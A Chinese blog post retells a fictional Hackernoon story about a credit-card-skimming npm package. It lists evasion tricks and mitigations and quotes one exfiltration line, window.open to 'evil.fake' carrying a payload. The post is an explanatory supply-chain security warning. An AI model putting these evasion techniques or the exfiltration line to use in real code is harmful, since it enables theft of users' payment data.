如何通过npm获取信用卡密码

在Hackernoon上看到一篇有趣的文章,一个黑客描写自己如何利用带病毒的npm包,获取大量用户的隐私信息。原文在这里

hacker

黑客的步骤如下:

  1. 写一段恶意代码,偷取重要信息,发送到自己的服务器
  2. 写一个简单的工具,比如日志格式化,并加入恶意代码
  3. 上传到npm,对开源项目提交pr,将工具引入项目

仅仅引入恶意代码,会很容易被发现。作者David用了相当多的奇技淫巧来绕过安全检查,最精彩的部分就在这里:

  • dev tools打开时暂停活动
  • 白天不活动
  • 对于同一个用户,永不重复活动
  • 1/7概率活动,即使清除cookies也难以重现
  • url和广告链接相似
  • 传到npm和github上的代码不同
  • 源码中package.min.js并不是由package.js导出
  • 不包含任何敏感单词,如同fetch,利用字符位移等技术规避
  • 使用EventSource代替fetch,防止fetch被监听
  • 先测试是否有办法绕过CSP,再发送
  • 修改form的action绕过CSP

评论里面有更狠的:

Any way to prevent outgoing connections through
window.open("evil.fake?q=${payload}", "_blank").close()
with CSP?

David“仁慈”地给出了建议,如何规避自己的恶意代码:

  • 敏感页面不要使用任何外部代码,特别是第三方广告
  • 使用iframe将敏感信息与其他部分隔离

最搞笑的是,David给所有被黑过的网站一个机会,如果能防住他的攻击,就不会公布这些网站的名字:

I will soon be posting my annual report for 2017 where I declare my income from stealing credit card numbers and selling them to gangsters in cool hats. I am required by law to show which websites I skimmed the most credit cards from — maybe yours is on the list?

Since I’m a classy guy, anyone on the list who has successfully blocked me from harvesting their data by January 12th will be spared the public shaming.

hacker

当然,这些都是虚构的。虽然一切都不是真的,但是看完依然一头冷汗,对不对?

人们习惯性地以为,开源代码是会被审查的,可惜这只是错觉。第三方库太多太杂,几乎没有人会去读源码。特别是二进制、压缩混淆后的库,很难确定它与源码是否统一。

计算机的世界没有银弹。

全文完